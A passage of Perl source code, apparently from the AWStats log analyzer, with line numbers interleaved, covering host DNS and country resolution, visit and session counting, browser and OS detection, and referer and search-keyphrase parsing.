                                                                                          $HostResolved = '*';
 
18698
                                                                                }
 
18699
                                                                                else {
 
18700
                                                                                        $TmpDNSLookup{$Host} =
 
18701
                                                                                          $HostResolved = $lookupresult;
 
18702
                                                                                }
 
18703
                                                                        }
 
18704
                                                                        else {
 
18705
                                                                                $TmpDNSLookup{$Host} = $HostResolved =
 
18706
                                                                                  '*';
 
18707
                                                                                warning(
 
18708
"Reverse DNS lookup for $Host not available without ipv6 plugin enabled."
 
18709
                                                                                );
 
18710
                                                                        }
 
18711
                                                                }
 
18712
                                                                else { error("Bad value vor ip"); }
 
18713
                                                        }
 
18714
                                                }
 
18715
                                        }
 
18716
                                        else {
 
18717
                                                $HostResolved = '*';
 
18718
                                                if ($Debug) {
 
18719
                                                        debug(
 
18720
"  DNS lookup by static DNS cache file asked for $Host but not found.",
 
18721
                                                                4
 
18722
                                                        );
 
18723
                                                }
 
18724
                                        }
 
18725
                                }
 
18726
                                else {
 
18727
                                        if ($Debug) {
 
18728
                                                debug(
 
18729
"  DNS lookup asked for $Host but this is not an IP address.",
 
18730
                                                        4
 
18731
                                                );
 
18732
                                        }
 
18733
                                        $DNSLookupAlreadyDone = $LogFile;
 
18734
                                }
 
18735
                        }
 
18736
                        else {
 
18737
                                if ( $Host =~ /$regipv4l/o ) {
 
18738
                                        $Host =~ s/^::ffff://;
 
18739
                                        $HostResolved = '*';
 
18740
                                        $ip           = 4;
 
18741
                                }
 
18742
                                elsif ( $Host =~ /$regipv4/o ) {
 
18743
                                        $HostResolved = '*';
 
18744
                                        $ip           = 4;
 
18745
                                }    # IPv4
 
18746
                                elsif ( $Host =~ /$regipv6/o ) {
 
18747
                                        $HostResolved = '*';
 
18748
                                        $ip           = 6;
 
18749
                                }    # IPv6
 
18750
                                if ($Debug) { debug( "  No DNS lookup asked.", 4 ); }
 
18751
                        }
 
18752
 
 
18753
                        # Analyze: Country (Top-level domain)
 
18754
                        #------------------------------------
 
18755
                        if ($Debug) {
 
18756
                                debug(
 
18757
"  Search country (Host=$Host HostResolved=$HostResolved ip=$ip)",
 
18758
                                        4
 
18759
                                );
 
18760
                        }
 
18761
                        my $Domain = 'ip';
 
18762
 
 
18763
                        # Set $HostResolved to host and resolve domain
 
18764
                        if ( $HostResolved eq '*' ) {
 
18765
 
 
18766
# $Host is an IP address and is not resolved (failed or not asked) or resolution gives an IP address
 
18767
                                $HostResolved = $Host;
 
18768
 
 
18769
                                # Resolve Domain
 
18770
                                if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
 
18771
                                        $Domain = GetCountryCodeByAddr_geoip($HostResolved);
 
18772
                                }
 
18773
 
 
18774
#                       elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($HostResolved); }
 
18775
#                       elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($HostResolved); }
 
18776
                                elsif ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} ) {
 
18777
                                        $Domain = GetCountryCodeByAddr_geoipfree($HostResolved);
 
18778
                                }
 
18779
                                if ($AtLeastOneSectionPlugin) {
 
18780
                                        foreach my $pluginname (
 
18781
                                                keys %{ $PluginsLoaded{'SectionProcessIp'} } )
 
18782
                                        {
 
18783
                                                my $function = "SectionProcessIp_$pluginname";
 
18784
                                                if ($Debug) {
 
18785
                                                        debug( "  Call to plugin function $function", 5 );
 
18786
                                                }
 
18787
                                                &$function($HostResolved);
 
18788
                                        }
 
18789
                                }
 
18790
                        }
 
18791
                        else {
 
18792
 
 
18793
# $Host was already a host name ($ip=0, $Host=name, $HostResolved='') or has been resolved ($ip>0, $Host=ip, $HostResolved defined)
 
18794
                                $HostResolved = lc( $HostResolved ? $HostResolved : $Host );
 
18795
 
 
18796
                                # Resolve Domain
 
18797
                                if ($ip)
 
18798
                                {    # If we have ip, we use it in priority instead of hostname
 
18799
                                        if ( $PluginsLoaded{'GetCountryCodeByAddr'}{'geoip'} ) {
 
18800
                                                $Domain = GetCountryCodeByAddr_geoip($Host);
 
18801
                                        }
 
18802
 
 
18803
#                               elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByAddr_geoip_region_maxmind($Host); }
 
18804
#                               elsif ($PluginsLoaded{'GetCountryCodeByAddr'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByAddr_geoip_city_maxmind($Host); }
 
18805
                                        elsif (
 
18806
                                                $PluginsLoaded{'GetCountryCodeByAddr'}{'geoipfree'} )
 
18807
                                        {
 
18808
                                                $Domain = GetCountryCodeByAddr_geoipfree($Host);
 
18809
                                        }
 
18810
                                        elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
 
18811
                                        if ($AtLeastOneSectionPlugin) {
 
18812
                                                foreach my $pluginname (
 
18813
                                                        keys %{ $PluginsLoaded{'SectionProcessIp'} } )
 
18814
                                                {
 
18815
                                                        my $function = "SectionProcessIp_$pluginname";
 
18816
                                                        if ($Debug) {
 
18817
                                                                debug( "  Call to plugin function $function",
 
18818
                                                                        5 );
 
18819
                                                        }
 
18820
                                                        &$function($Host);
 
18821
                                                }
 
18822
                                        }
 
18823
                                }
 
18824
                                else {
 
18825
                                        if ( $PluginsLoaded{'GetCountryCodeByName'}{'geoip'} ) {
 
18826
                                                $Domain = GetCountryCodeByName_geoip($HostResolved);
 
18827
                                        }
 
18828
 
 
18829
#                               elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_region_maxmind'}) { $Domain=GetCountryCodeByName_geoip_region_maxmind($HostResolved); }
 
18830
#                               elsif ($PluginsLoaded{'GetCountryCodeByName'}{'geoip_city_maxmind'})   { $Domain=GetCountryCodeByName_geoip_city_maxmind($HostResolved); }
 
18831
                                        elsif (
 
18832
                                                $PluginsLoaded{'GetCountryCodeByName'}{'geoipfree'} )
 
18833
                                        {
 
18834
                                                $Domain = GetCountryCodeByName_geoipfree($HostResolved);
 
18835
                                        }
 
18836
                                        elsif ( $HostResolved =~ /\.(\w+)$/ ) { $Domain = $1; }
 
18837
                                        if ($AtLeastOneSectionPlugin) {
 
18838
                                                foreach my $pluginname (
 
18839
                                                        keys %{ $PluginsLoaded{'SectionProcessHostname'} } )
 
18840
                                                {
 
18841
                                                        my $function = "SectionProcessHostname_$pluginname";
 
18842
                                                        if ($Debug) {
 
18843
                                                                debug( "  Call to plugin function $function",
 
18844
                                                                        5 );
 
18845
                                                        }
 
18846
                                                        &$function($HostResolved);
 
18847
                                                }
 
18848
                                        }
 
18849
                                }
 
18850
                        }
 
18851
 
 
18852
                        # Store country
 
18853
                        if ($PageBool) { $_domener_p{$Domain}++; }
 
18854
                        if ($countedtraffic != 6){$_domener_h{$Domain}++;}
 
18855
                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18856
                                $_domener_k{$Domain} += int( $field[$pos_size] );
 
18857
                        }
 
18858
 
 
18859
                        # Analyze: Host, URL entry+exit and Session
 
18860
                        #------------------------------------------
 
18861
                        if ($PageBool) {
 
18862
                                my $timehostl = $_host_l{$HostResolved};
 
18863
                                if ($timehostl) {
 
18864
 
 
18865
# A visit for this host was already detected
 
18866
# TODO everywhere there is $VISITTIMEOUT
 
18867
#                               $timehostl =~ /^\d\d\d\d\d\d(\d\d)/; my $daytimehostl=$1;
 
18868
#                               if ($timerecord > ($timehostl+$VISITTIMEOUT+($dateparts[3]>$daytimehostl?$NEWDAYVISITTIMEOUT:0))) {
 
18869
                                        if ( $timerecord > ( $timehostl + $VISITTIMEOUT ) ) {
 
18870
 
 
18871
                                                # This is a second visit or more
 
18872
                                                if ( !$_waithost_s{$HostResolved} ) {
 
18873
 
 
18874
                                                        # This is a second visit or more
 
18875
                                                        # We count 'visit','exit','entry','DayVisits'
 
18876
                                                        if ($Debug) {
 
18877
                                                                debug(
 
18878
"  This is a second visit for $HostResolved.",
 
18879
                                                                        4
 
18880
                                                                );
 
18881
                                                        }
 
18882
                                                        my $timehosts = $_host_s{$HostResolved};
 
18883
                                                        my $page      = $_host_u{$HostResolved};
 
18884
                                                        if ($page) { $_url_x{$page}++; }
 
18885
                                                        $_url_e{ $field[$pos_url] }++;
 
18886
                                                        $DayVisits{$yearmonthdayrecord}++;
 
18887
 
 
18888
                                 # We can't count session yet because we don't have the start so
 
18889
                                 # we save params of first 'wait' session
 
18890
                                                        $_waithost_l{$HostResolved} = $timehostl;
 
18891
                                                        $_waithost_s{$HostResolved} = $timehosts;
 
18892
                                                        $_waithost_u{$HostResolved} = $page;
 
18893
                                                }
 
18894
                                                else {
 
18895
 
 
18896
                                                 # This is third visit or more
 
18897
                                                 # We count 'session','visit','exit','entry','DayVisits'
 
18898
                                                        if ($Debug) {
 
18899
                                                                debug(
 
18900
"  This is a third visit or more for $HostResolved.",
 
18901
                                                                        4
 
18902
                                                                );
 
18903
                                                        }
 
18904
                                                        my $timehosts = $_host_s{$HostResolved};
 
18905
                                                        my $page      = $_host_u{$HostResolved};
 
18906
                                                        if ($page) { $_url_x{$page}++; }
 
18907
                                                        $_url_e{ $field[$pos_url] }++;
 
18908
                                                        $DayVisits{$yearmonthdayrecord}++;
 
18909
                                                        if ($timehosts) {
 
18910
                                                                $_session{ GetSessionRange( $timehosts,
 
18911
                                                                                $timehostl ) }++;
 
18912
                                                        }
 
18913
                                                }
 
18914
 
 
18915
                                                # Save new session properties
 
18916
                                                $_host_s{$HostResolved} = $timerecord;
 
18917
                                                $_host_l{$HostResolved} = $timerecord;
 
18918
                                                $_host_u{$HostResolved} = $field[$pos_url];
 
18919
                                        }
 
18920
                                        elsif ( $timerecord > $timehostl ) {
 
18921
 
 
18922
                                                # This is a same visit we can count
 
18923
                                                if ($Debug) {
 
18924
                                                        debug(
 
18925
"  This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
 
18926
                                                                4
 
18927
                                                        );
 
18928
                                                }
 
18929
                                                $_host_l{$HostResolved} = $timerecord;
 
18930
                                                $_host_u{$HostResolved} = $field[$pos_url];
 
18931
                                        }
 
18932
                                        elsif ( $timerecord == $timehostl ) {
 
18933
 
 
18934
                                                # This is a same visit we can count
 
18935
                                                if ($Debug) {
 
18936
                                                        debug(
 
18937
"  This is same visit still running for $HostResolved. host_l/host_u changed to $timerecord/$field[$pos_url]",
 
18938
                                                                4
 
18939
                                                        );
 
18940
                                                }
 
18941
                                                $_host_u{$HostResolved} = $field[$pos_url];
 
18942
                                        }
 
18943
                                        elsif ( $timerecord < $_host_s{$HostResolved} ) {
 
18944
 
 
18945
                                           # Should happens only with not correctly sorted log files
 
18946
                                                if ($Debug) {
 
18947
                                                        debug(
 
18948
"  This is same visit still running for $HostResolved with start not in order. host_s changed to $timerecord (entry page also changed if first visit)",
 
18949
                                                                4
 
18950
                                                        );
 
18951
                                                }
 
18952
                                                if ( !$_waithost_s{$HostResolved} ) {
 
18953
 
 
18954
# We can reorder entry page only if it's the first visit found in this update run (The saved entry page was $_waithost_e if $_waithost_s{$HostResolved} is not defined. If second visit or more, entry was directly counted and not saved)
 
18955
                                                        $_waithost_e{$HostResolved} = $field[$pos_url];
 
18956
                                                }
 
18957
                                                else {
 
18958
 
 
18959
# We can't change entry counted as we dont't know what was the url counted as entry
 
18960
                                                }
 
18961
                                                $_host_s{$HostResolved} = $timerecord;
 
18962
                                        }
 
18963
                                        else {
 
18964
                                                if ($Debug) {
 
18965
                                                        debug(
 
18966
"  This is same visit still running for $HostResolved with hit between start and last hits. No change",
 
18967
                                                                4
 
18968
                                                        );
 
18969
                                                }
 
18970
                                        }
 
18971
                                }
 
18972
                                else {
 
18973
 
 
18974
# This is a new visit (may be). First new visit found for this host. We save in wait array the entry page to count later
 
18975
                                        if ($Debug) {
 
18976
                                                debug(
 
18977
"  New session (may be) for $HostResolved. Save in wait array to see later",
 
18978
                                                        4
 
18979
                                                );
 
18980
                                        }
 
18981
                                        $_waithost_e{$HostResolved} = $field[$pos_url];
 
18982
 
 
18983
                                        # Save new session properties
 
18984
                                        $_host_u{$HostResolved} = $field[$pos_url];
 
18985
                                        $_host_s{$HostResolved} = $timerecord;
 
18986
                                        $_host_l{$HostResolved} = $timerecord;
 
18987
                                }
 
18988
                                $_host_p{$HostResolved}++;
 
18989
                        }
 
18990
                        $_host_h{$HostResolved}++;
 
18991
                        if ( $field[$pos_size] ne '-' && $pos_size>0) {
 
18992
                                $_host_k{$HostResolved} += int( $field[$pos_size] );
 
18993
                        }
 
18994
 
 
18995
                        # Analyze: Browser - OS
 
18996
                        #----------------------
 
18997
                        if ( $pos_agent >= 0 ) {
 
18998
 
 
18999
                                if ($LevelForBrowsersDetection) {
 
19000
 
 
19001
                                        # Analyze: Browser
 
19002
                                        #-----------------
 
19003
                                        my $uabrowser = $TmpBrowser{$UserAgent};
 
19004
                                        if ( !$uabrowser ) {
 
19005
                                                my $found = 1;
 
19006
 
 
19007
                                                # Firefox ?
 
19008
                                                if (   $UserAgent =~ /$regverfirefox/o
 
19009
                                                        && $UserAgent !~ /$regnotfirefox/o )
 
19010
                                                {
 
19011
                                                        $_browser_h{"firefox$1"}++;
 
19012
                                                        $TmpBrowser{$UserAgent} = "firefox$1";
 
19013
                                                }
 
19014
 
 
19015
                                                # Opera ?
 
19016
                                                elsif ( $UserAgent =~ /$regveropera/o ) {
 
19017
                                                        $_browser_h{"opera$1"}++;
 
19018
                                                        $TmpBrowser{$UserAgent} = "opera$1";
 
19019
                                                }
 
19020
 
 
19021
                                                # Chrome ?
 
19022
                                                elsif ( $UserAgent =~ /$regverchrome/o ) {
 
19023
                                                        $_browser_h{"chrome$1"}++;
 
19024
                                                        $TmpBrowser{$UserAgent} = "chrome$1";
 
19025
                                                }
 
19026
 
 
19027
                                                # Safari ?
 
19028
                                                elsif ($UserAgent =~ /$regversafari/o
 
19029
                                                        && $UserAgent !~ /$regnotsafari/o )
 
19030
                                                {
 
19031
                                                        my $safariver = $BrowsersSafariBuildToVersionHash{$1};
 
19032
                                                        if ( $UserAgent =~ /$regversafariver/o ) {
 
19033
                                                                $safariver = $1;
 
19034
                                                        }
 
19035
                                                        $_browser_h{"safari$safariver"}++;
 
19036
                                                        $TmpBrowser{$UserAgent} = "safari$safariver";
 
19037
                                                }
 
19038
 
 
19039
                                                # Konqueror ?
 
19040
                                                elsif ( $UserAgent =~ /$regverkonqueror/o ) {
 
19041
                                                        $_browser_h{"konqueror$1"}++;
 
19042
                                                        $TmpBrowser{$UserAgent} = "konqueror$1";
 
19043
                                                }
 
19044
 
 
19045
                                                # Subversion ?
 
19046
                                                elsif ( $UserAgent =~ /$regversvn/o ) {
 
19047
                                                        $_browser_h{"svn$1"}++;
 
19048
                                                        $TmpBrowser{$UserAgent} = "svn$1";
 
19049
                                                }
 
19050
 
 
19051
                                                # IE ? (must be at end of test)
 
19052
                                                elsif ($UserAgent =~ /$regvermsie/o
 
19053
                                                        && $UserAgent !~ /$regnotie/o )
 
19054
                                                {
 
19055
                                                        $_browser_h{"msie$2"}++;
 
19056
                                                        $TmpBrowser{$UserAgent} = "msie$2";
 
19057
                                                }
 
19058
 
 
19059
                                                # Netscape 6.x, 7.x ... ? (must be at end of test)
 
19060
                                                elsif ( $UserAgent =~ /$regvernetscape/o ) {
 
19061
                                                        $_browser_h{"netscape$1"}++;
 
19062
                                                        $TmpBrowser{$UserAgent} = "netscape$1";
 
19063
                                                }
 
19064
 
 
19065
                                                # Netscape 3.x, 4.x ... ? (must be at end of test)
 
19066
                                                elsif ($UserAgent =~ /$regvermozilla/o
 
19067
                                                        && $UserAgent !~ /$regnotnetscape/o )
 
19068
                                                {
 
19069
                                                        $_browser_h{"netscape$2"}++;
 
19070
                                                        $TmpBrowser{$UserAgent} = "netscape$2";
 
19071
                                                }
 
19072
 
 
19073
                                                # Other known browsers ?
 
19074
                                                else {
 
19075
                                                        $found = 0;
 
19076
                                                        foreach (@BrowsersSearchIDOrder)
 
19077
                                                        {    # Search ID in order of BrowsersSearchIDOrder
 
19078
                                                                if ( $UserAgent =~ /$_/ ) {
 
19079
                                                                        my $browser = &UnCompileRegex($_);
 
19080
 
 
19081
                                                                   # TODO If browser is in a family, use version
 
19082
                                                                        $_browser_h{"$browser"}++;
 
19083
                                                                        $TmpBrowser{$UserAgent} = "$browser";
 
19084
                                                                        $found = 1;
 
19085
                                                                        last;
 
19086
                                                                }
 
19087
                                                        }
 
19088
                                                }
 
19089
 
 
19090
                                                # Unknown browser ?
 
19091
                                                if ( !$found ) {
 
19092
                                                        $_browser_h{'Unknown'}++;
 
19093
                                                        $TmpBrowser{$UserAgent} = 'Unknown';
 
19094
                                                        my $newua = $UserAgent;
 
19095
                                                        $newua =~ tr/\+ /__/;
 
19096
                                                        $_unknownrefererbrowser_l{$newua} = $timerecord;
 
19097
                                                }
 
19098
                                        }
 
19099
                                        else {
 
19100
                                                $_browser_h{$uabrowser}++;
 
19101
                                                if ( $uabrowser eq 'Unknown' ) {
 
19102
                                                        my $newua = $UserAgent;
 
19103
                                                        $newua =~ tr/\+ /__/;
 
19104
                                                        $_unknownrefererbrowser_l{$newua} = $timerecord;
 
19105
                                                }
 
19106
                                        }
 
19107
 
 
19108
                                }
 
19109
 
 
19110
                                if ($LevelForOSDetection) {
 
19111
 
 
19112
                                        # Analyze: OS
 
19113
                                        #------------
 
19114
                                        my $uaos = $TmpOS{$UserAgent};
 
19115
                                        if ( !$uaos ) {
 
19116
                                                my $found = 0;
 
19117
 
 
19118
                                                # in OSHashID list ?
 
19119
                                                foreach (@OSSearchIDOrder)
 
19120
                                                {    # Search ID in order of OSSearchIDOrder
 
19121
                                                        if ( $UserAgent =~ /$_/ ) {
 
19122
                                                                my $osid = $OSHashID{ &UnCompileRegex($_) };
 
19123
                                                                $_os_h{"$osid"}++;
 
19124
                                                                $TmpOS{$UserAgent} = "$osid";
 
19125
                                                                $found = 1;
 
19126
                                                                last;
 
19127
                                                        }
 
19128
                                                }
 
19129
 
 
19130
                                                # Unknown OS ?
 
19131
                                                if ( !$found ) {
 
19132
                                                        $_os_h{'Unknown'}++;
 
19133
                                                        $TmpOS{$UserAgent} = 'Unknown';
 
19134
                                                        my $newua = $UserAgent;
 
19135
                                                        $newua =~ tr/\+ /__/;
 
19136
                                                        $_unknownreferer_l{$newua} = $timerecord;
 
19137
                                                }
 
19138
                                        }
 
19139
                                        else {
 
19140
                                                $_os_h{$uaos}++;
 
19141
                                                if ( $uaos eq 'Unknown' ) {
 
19142
                                                        my $newua = $UserAgent;
 
19143
                                                        $newua =~ tr/\+ /__/;
 
19144
                                                        $_unknownreferer_l{$newua} = $timerecord;
 
19145
                                                }
 
19146
                                        }
 
19147
 
 
19148
                                }
 
19149
 
 
19150
                        }
 
19151
                        else {
 
19152
                                $_browser_h{'Unknown'}++;
 
19153
                                $_os_h{'Unknown'}++;
 
19154
                        }
 
19155
 
 
19156
                        # Analyze: Referer
 
19157
                        #-----------------
 
19158
                        my $found = 0;
 
19159
                        if (   $pos_referer >= 0
 
19160
                                && $LevelForRefererAnalyze
 
19161
                                && $field[$pos_referer] )
 
19162
                        {
 
19163
 
 
19164
                                # Direct ?
 
19165
                                if (   $field[$pos_referer] eq '-'
 
19166
                                        || $field[$pos_referer] eq 'bookmarks' )
 
19167
                                {  # "bookmarks" is sent by Netscape, '-' by all others browsers
 
19168
                                            # Direct access
 
19169
                                        if ($PageBool) {
 
19170
                                                if ($ShowDirectOrigin) {
 
19171
                                                        print "Direct access for line $line\n";
 
19172
                                                }
 
19173
                                                $_from_p[0]++;
 
19174
                                        }
 
19175
                                        $_from_h[0]++;
 
19176
                                        $found = 1;
 
19177
                                }
 
19178
                                else {
 
19179
                                        $field[$pos_referer] =~ /$regreferer/o;
 
19180
                                        my $refererprot   = $1;
 
19181
                                        my $refererserver =
 
19182
                                            ( $2 || '' )
 
19183
                                          . ( !$3 || $3 eq ':80' ? '' : $3 )
 
19184
                                          ; # refererserver is www.xxx.com or www.xxx.com:81 but not www.xxx.com:80
 
19185
                                            # HTML link ?
 
19186
                                        if ( $refererprot =~ /^http/i ) {
 
19187
 
 
19188
#if ($Debug) { debug("  Analyze referer refererprot=$refererprot refererserver=$refererserver",5); }
 
19189
 
 
19190
                                                # Kind of origin
 
19191
                                                if ( !$TmpRefererServer{$refererserver} )
 
19192
                                                { # TmpRefererServer{$refererserver} is "=" if same site, "search egine key" if search engine, not defined otherwise
 
19193
                                                        if ( $refererserver =~ /$reglocal/o ) {
 
19194
 
 
19195
                                                  # Intern (This hit came from another page of the site)
 
19196
                                                                if ($Debug) {
 
19197
                                                                        debug(
 
19198
"  Server '$refererserver' is added to TmpRefererServer with value '='",
 
19199
                                                                                2
 
19200
                                                                        );
 
19201
                                                                }
 
19202
                                                                $TmpRefererServer{$refererserver} = '=';
 
19203
                                                                $found = 1;
 
19204
                                                        }
 
19205
                                                        else {
 
19206
                                                                foreach (@HostAliases) {
 
19207
                                                                        if ( $refererserver =~ /$_/ ) {
 
19208
 
 
19209
                                                  # Intern (This hit came from another page of the site)
 
19210
                                                                                if ($Debug) {
 
19211
                                                                                        debug(
 
19212
"  Server '$refererserver' is added to TmpRefererServer with value '='",
 
19213
                                                                                                2
 
19214
                                                                                        );
 
19215
                                                                                }
 
19216
                                                                                $TmpRefererServer{$refererserver} = '=';
 
19217
                                                                                $found = 1;
 
19218
                                                                                last;
 
19219
                                                                        }
 
19220
                                                                }
 
19221
                                                                if ( !$found ) {
 
19222
 
 
19223
                                                         # Extern (This hit came from an external web site).
 
19224
 
 
19225
                                                                        if ($LevelForSearchEnginesDetection) {
 
19226
 
 
19227
                                                                                foreach (@SearchEnginesSearchIDOrder)
 
19228
                                                                                { # Search ID in order of SearchEnginesSearchIDOrder
 
19229
                                                                                        if ( $refererserver =~ /$_/ ) {
 
19230
                                                                                                my $key = &UnCompileRegex($_);
 
19231
                                                                                                if (
 
19232
                                                                                                        !$NotSearchEnginesKeys{$key}
 
19233
                                                                                                        || $refererserver !~
 
19234
/$NotSearchEnginesKeys{$key}/i
 
19235
                                                                                                  )
 
19236
                                                                                                {
 
19237
 
 
19238
                                                                         # This hit came from the search engine $key
 
19239
                                                                                                        if ($Debug) {
 
19240
                                                                                                                debug(
 
19241
"  Server '$refererserver' is added to TmpRefererServer with value '$key'",
 
19242
                                                                                                                        2
 
19243
                                                                                                                );
 
19244
                                                                                                        }
 
19245
                                                                                                        $TmpRefererServer{
 
19246
                                                                                                                $refererserver} =
 
19247
                                                                                                          $SearchEnginesHashID{ $key
 
19248
                                                                                                          };
 
19249
                                                                                                        $found = 1;
 
19250
                                                                                                }
 
19251
                                                                                                last;
 
19252
                                                                                        }
 
19253
                                                                                }
 
19254
 
 
19255
                                                                        }
 
19256
                                                                }
 
19257
                                                        }
 
19258
                                                }
 
19259
 
 
19260
                                                my $tmprefererserver =
 
19261
                                                  $TmpRefererServer{$refererserver};
 
19262
                                                if ($tmprefererserver) {
 
19263
                                                        if ( $tmprefererserver eq '=' ) {
 
19264
 
 
19265
                                                  # Intern (This hit came from another page of the site)
 
19266
                                                                if ($PageBool) { $_from_p[4]++; }
 
19267
                                                                $_from_h[4]++;
 
19268
                                                                $found = 1;
 
19269
                                                        }
 
19270
                                                        else {
 
19271
 
 
19272
                                                                # This hit came from a search engine
 
19273
                                                                if ($PageBool) {
 
19274
                                                                        $_from_p[2]++;
 
19275
                                                                        $_se_referrals_p{$tmprefererserver}++;
 
19276
                                                                }
 
19277
                                                                $_from_h[2]++;
 
19278
                                                                $_se_referrals_h{$tmprefererserver}++;
 
19279
                                                                $found = 1;
 
19280
                                                                if ( $PageBool && $LevelForKeywordsDetection ) {
 
19281
 
 
19282
                                                                        # we will complete %_keyphrases hash array
 
19283
                                                                        my @refurl =
 
19284
                                                                          split( /\?/, $field[$pos_referer], 2 )
 
19285
                                                                          ; # TODO Use \? or [$URLQuerySeparators] ?
 
19286
                                                                        if ( $refurl[1] ) {
 
19287
 
 
19288
# Extract params of referer query string (q=cache:mmm:www/zzz+aaa+bbb q=aaa+bbb/ccc key=ddd%20eee lang_en ie=UTF-8 ...)
 
19289
                                                                                if (
 
19290
                                                                                        $SearchEnginesKnownUrl{
 
19291
                                                                                                $tmprefererserver} )
 
19292
                                                                                {  # Search engine with known URL syntax
 
19293
                                                                                        foreach my $param (
 
19294
                                                                                                split(
 
19295
                                                                                                        /&/,
 
19296
                                                                                                        $KeyWordsNotSensitive
 
19297
                                                                                                        ? lc( $refurl[1] )
 
19298
                                                                                                        : $refurl[1]
 
19299
                                                                                                )
 
19300
                                                                                          )
 
19301
                                                                                        {
 
19302
                                                                                                if ( $param =~
 
19303
s/^$SearchEnginesKnownUrl{$tmprefererserver}//
 
19304
                                                                                                  )
 
19305
                                                                                                {
 
19306
 
 
19307
         # We found good parameter
 
19308
         # Now param is keyphrase: "cache:mmm:www/zzz+aaa+bbb/ccc+ddd%20eee'fff,ggg"
 
19309
                                                                                                        $param =~
 
19310
s/^(cache|related):[^\+]+//
 
19311
                                                                                                          ; # Should be useless since this is for hit on 'not pages'
 
19312
                                                                                                        &ChangeWordSeparatorsIntoSpace
 
19313
                                                                                                          ($param)
 
19314
                                                                                                          ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg]
 
19315
                                                                                                        $param =~ s/^ +//;
 
19316
                                                                                                        $param =~ s/ +$//;    # Trim
 
19317
                                                                                                        $param =~ tr/ /\+/s;
 
19318
                                                                                                        if ( ( length $param ) > 0 )
 
19319
                                                                                                        {
 
19320
                                                                                                                $_keyphrases{$param}++;
 
19321
                                                                                                        }
 
19322
                                                                                                        last;
 
19323
                                                                                                }
 
19324
                                                                                        }
 
19325
                                                                                }
 
19326
                                                                                elsif (
 
19327
                                                                                        $LevelForKeywordsDetection >= 2 )
 
19328
                                                                                { # Search engine with unknown URL syntax
 
19329
                                                                                        foreach my $param (
 
19330
                                                                                                split(
 
19331
                                                                                                        /&/,
 
19332
                                                                                                        $KeyWordsNotSensitive
 
19333
                                                                                                        ? lc( $refurl[1] )
 
19334
                                                                                                        : $refurl[1]
 
19335
                                                                                                )
 
19336
                                                                                          )
 
19337
                                                                                        {
 
19338
                                                                                                my $foundexcludeparam = 0;
 
19339
                                                                                                foreach my $paramtoexclude (
 
19340
                                                                                                        @WordsToCleanSearchUrl)
 
19341
                                                                                                {
 
19342
                                                                                                        if ( $param =~
 
19343
                                                                                                                /$paramtoexclude/i )
 
19344
                                                                                                        {
 
19345
                                                                                                                $foundexcludeparam = 1;
 
19346
                                                                                                                last;
 
19347
                                                                                                        } # Not the param with search criteria
 
19348
                                                                                                }
 
19349
                                                                                                if ($foundexcludeparam) {
 
19350
                                                                                                        next;
 
19351
                                                                                                }
 
19352
 
 
19353
                                                                                                # We found good parameter
 
19354
                                                                                                $param =~ s/.*=//;
 
19355
 
 
19356
                                           # Now param is keyphrase: "aaa+bbb/ccc+ddd%20eee'fff,ggg"
 
19357
                                                                                                $param =~
 
19358
                                                                                                  s/^(cache|related):[^\+]+//
 
19359
                                                                                                  ; # Should be useless since this is for hit on 'not pages'
 
19360
                                                                                                &ChangeWordSeparatorsIntoSpace(
 
19361
                                                                                                        $param)
 
19362
                                                                                                  ; # Change [ aaa+bbb/ccc+ddd%20eee'fff,ggg ] into [ aaa bbb/ccc ddd eee fff ggg ]
 
19363
                                                                                                $param =~ s/^ +//;
 
19364
                                                                                                $param =~ s/ +$//;     # Trim
 
19365
                                                                                                $param =~ tr/ /\+/s;
 
19366
                                                                                                if ( ( length $param ) > 2 ) {
 
19367
                                                                                                        $_keyphrases{$param}++;
 
19368
                                                                                                        last;
 
19369
                                                                                                }
 
19370
                                                                                        }
 
19371
                                                                                }
 
19372
                                                                        }    # End of elsif refurl[1]
 
19373
                                                                        elsif (
 
19374
                                                                                $SearchEnginesWithKeysNotInQuery{
 
19375
                                                                                        $tmprefererserver} )
 
19376
                                                                        {
 
19377
 
 
19378
#                                                                               debug("xxx".$refurl[0]);
 
19379
# If search engine with key inside page url like a9 (www.a9.com/searchkey1%20searchkey2)
 
19380
                                                                                if ( $refurl[0] =~
 
19381
/$SearchEnginesKnownUrl{$tmprefererserver}(.*)$/
 
19382
                                                                                  )
 
19383
                                                                                {
 
19384
                                                                                        my $param = $1;
 
19385
                                                                                        &ChangeWordSeparatorsIntoSpace(
 
19386
                                                                                                $param);
 
19387
                                                                                        $param =~ tr/ /\+/s;
 
19388
                                                                                        if ( ( length $param ) > 0 ) {
 
19389
                                                                                                $_keyphrases{$param}++;
 
19390
                                                                                        }
 
19391
                                                                                }
 
19392
                                                                        }
 
19393
 
 
19394
                                                                }
 
19395
                                                        }
 
19396
                                                }    # End of if ($TmpRefererServer)
 
19397
                                                else {
 
19398
 
 
19399
                                                  # This hit came from a site other than a search engine
 
19400
                                                        if ($PageBool) { $_from_p[3]++; }
 
19401
                                                        $_from_h[3]++;
 
19402
 
 
19403
# http://www.mysite.com/ must be same referer than http://www.mysite.com but .../mypage/ differs of .../mypage
 
19404
#if ($refurl[0] =~ /^[^\/]+\/$/) { $field[$pos_referer] =~ s/\/$//; }   # Code moved in Save_History
 
19405
# TODO: lowercase the value for referer server to have refering server not case sensitive
 
19406
                                                        if ($URLReferrerWithQuery) {
 
19407
                                                                if ($PageBool) {
 
19408
                                                                        $_pagesrefs_p{ $field[$pos_referer] }++;
 
19409
                                                                }
 
19410
                                                                $_pagesrefs_h{ $field[$pos_referer] }++;
 
19411
                                                        }
 
19412
                                                        else {
 
19413
 
 
19414
                                                                # We discard query for referer
 
19415
                                                                if ( $field[$pos_referer] =~
 
19416
